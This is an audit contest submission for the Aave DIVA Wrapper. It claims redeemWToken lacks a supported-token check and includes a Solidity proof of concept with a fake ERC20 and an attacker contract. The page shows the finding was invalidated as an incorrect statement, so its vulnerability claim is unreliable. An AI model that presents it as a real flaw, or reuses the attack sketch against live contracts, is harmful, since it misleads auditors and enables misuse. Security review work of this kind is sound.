Aave DIVA Wrapper
DIVA
HardhatDeFi
15,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

No Check for Supported Collateral Token in `redeemWToken`

futhmah456

Summary

The redeemWToken function on line 224 in the contract IAaveDIVAWrapper.sol accepts a wToken and allows its redemption into the collateral token, but there is no explicit check to ensure that the wToken is valid and registered before redemption.

Vulnerability Details

If an unsupported or malicious wToken is provided, the contract might malfunction, or unexpected behavior could arise.

Impact

Potential loss of funds if malicious tokens are used, or the function could revert.

Proof of Concept (PoC) for "No Check for Supported Collateral Token in redeemWToken"

Overview

The function redeemWToken in the AaveDIVAWrapperCore.sol contract allows users to redeem wrapped tokens (wToken) into the collateral token. However, there is no check to ensure that the wToken provided is supported, i.e., it's associated with a valid collateral token. This absence of a validation check could lead to unexpected behavior or fund loss if the user attempts to redeem an unsupported wToken.

Actors

  • Attacker: An attacker who attempts to redeem an unsupported wToken.

  • Victim: A user who may unknowingly interact with unsupported or malicious wToken.

  • Protocol: The AaveDIVAWrapperCore.sol contract.

Working Test Case

We will create a malicious contract to simulate an unsupported wToken. The test will show how redeeming this unsupported token might lead to unexpected behavior or a failed transaction.

// PoC Test Case for No Check for Supported Collateral Token in redeemWToken
​
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import {AaveDIVAWrapperCore} from "./AaveDIVAWrapperCore.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
​
// Malicious token contract to simulate unsupported wToken
contract MaliciousWToken is IERC20 {
string public name = "Malicious WToken";
string public symbol = "MWT";
uint8 public decimals = 18;
// Mapping for balances
mapping(address => uint256) public balances;
​
constructor() {
balances[msg.sender] = 1000 * 10**18; // Initial balance of 1000 MWT
}
​
function totalSupply() external view override returns (uint256) {
return 1000 * 10**18;
}
​
function balanceOf(address account) external view override returns (uint256) {
return balances[account];
}
​
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount;
balances[recipient] += amount;
return true;
}
​
function approve(address spender, uint256 amount) external override returns (bool) {
return true;
}
​
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
return true;
}
}
​
// Attacker contract that will interact with the AaveDIVAWrapperCore
contract Attacker {
AaveDIVAWrapperCore public wrapper;
MaliciousWToken public maliciousToken;
​
constructor(address _wrapper, address _maliciousToken) {
wrapper = AaveDIVAWrapperCore(_wrapper);
maliciousToken = MaliciousWToken(_maliciousToken);
}
​
// Attack function to redeem the unsupported wToken
function attack() external {
uint256 amountToRedeem = 100 * 10**18; // Trying to redeem 100 MWT
maliciousToken.transfer(address(wrapper), amountToRedeem);
wrapper.redeemWToken(address(maliciousToken), amountToRedeem);
}
}
​
​

Step-by-Step Exploit Scenario

  1. Deploy the MaliciousWToken contract: This contract simulates an unsupported wToken (MaliciousWToken).

    • The MaliciousWToken contract behaves like a standard ERC20 token but isn't registered or supported in the AaveDIVAWrapperCore.sol contract.

  2. Deploy the Attacker contract: This contract simulates the attacker who will attempt to redeem the unsupported wToken.

    • The attacker deploys the Attacker contract, passing the address of the AaveDIVAWrapperCore.sol contract and the MaliciousWToken address.

  3. Attack execution: The attacker calls the attack() function in the Attacker contract, which:

    • Transfers a specified amount of MaliciousWToken to the AaveDIVAWrapperCore.sol contract.

    • Attempts to redeem the unsupported MaliciousWToken via the redeemWToken function.

  4. Expected Outcome: Since the redeemWToken function does not validate whether the wToken is supported, the contract could:

    • Fail silently, reverting the transaction without any explanation, or

    • If improperly handled, it may allow an invalid token redemption.

  5. Implications:

    • The user or attacker may attempt to redeem unsupported tokens, which could lead to the funds being lost or an unexpected behavior.

    • It highlights the lack of validation, which could compromise user funds and contract integrity.

Tools Used

Manual code review

Recommendations

  • Validation Check: Add a check to ensure that the wToken provided in the redeemWToken function is registered and associated with a supported collateral token. This could be done by checking a list of valid tokens stored in the contract.

// Example modification to redeemWToken function
function redeemWToken(address wToken, uint256 amount) external {
require(isSupportedWToken(wToken), "Unsupported wToken");
// Proceed with redemption logic
}
​
function isSupportedWToken(address wToken) internal view returns (bool) {
// Add logic to check if the wToken is in a list of supported tokens
return supportedTokens[wToken];
}
​

  • Testing & Auditing: Make sure to thoroughly test edge cases where tokens may be malformed or unexpected. Proper validation in critical functions is crucial for maintaining the security and integrity of the contract.

Updates

Lead Judging Commences

bube Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.